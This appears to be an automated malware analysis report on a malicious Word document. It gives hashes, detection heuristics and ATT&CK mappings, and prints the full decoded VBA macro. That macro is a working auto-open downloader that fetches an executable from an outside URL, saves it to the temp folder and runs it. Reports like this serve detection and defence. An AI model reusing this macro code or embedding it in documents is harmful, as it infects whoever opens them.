Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae75a69d4138ae09…

MALICIOUS

Office (OLE)

40.5 KB Created: 2014-05-30 18:58:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 2a453381e6d8dbe8bb7642f3d6a3bce0 SHA-1: 0617ebcc7562535f6925bad37c0f4cfe8bfd70f8 SHA-256: ae75a69d4138ae09d5c24bde527af7f23b1d7536ec36abb37deea9bfbb10439a
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that execute upon opening the document, as indicated by the AutoOpen and Workbook_Open subroutines. These macros call a function that downloads a file from 'http://wrlauncher.cba.pl/raportt2.exe' and saves it as 'KBXWVR.exe' in the temporary directory, then executes it. This behavior is consistent with a macro-based downloader attempting to fetch and run a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        KWDDGG = Shell(DKVBPJ, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set RLUMQQ = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        JUZXOO "http://wrlauncher.cba.pl/raportt2.exe", Environ("TMP") & "\KBXWVR.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://wrlauncher.cba.pl/raportt2.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1140 bytes
SHA-256: ba18cc0f3b603ec27c39b440c5c96f83234d23b9b405f5ce52c2ea0b600b2b20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub QDSJRF()
    JUZXOO "http://wrlauncher.cba.pl/raportt2.exe", Environ("TMP") & "\KBXWVR.exe"
End Sub
Function JUZXOO(ByVal ITWUAP As String, ByVal DKVBPJ As String) As Boolean
     Dim RLUMQQ As Object, UQCSJB As Long, YXKGNK As Long, WWQWCI() As Byte

    Set RLUMQQ = CreateObject("MSXML2.XMLHTTP")
    RLUMQQ.Open "GET", ITWUAP, False
    RLUMQQ.Send "send request"

    Do While RLUMQQ.readyState <> 4
    DoEvents
    Loop

    WWQWCI = RLUMQQ.responseBody

    YXKGNK = FreeFile
    If Dir(DKVBPJ) <> "" Then Kill DKVBPJ
    Open DKVBPJ For Binary As #YXKGNK
    Put #YXKGNK, , WWQWCI
    Close #YXKGNK
    
    Dim KWDDGG
    KWDDGG = Shell(DKVBPJ, 1)

    Set RLUMQQ = Nothing
     
End Function
Sub Auto_Open()
QDSJRF
End Sub
Sub AutoOpen()
    Auto_Open
End Sub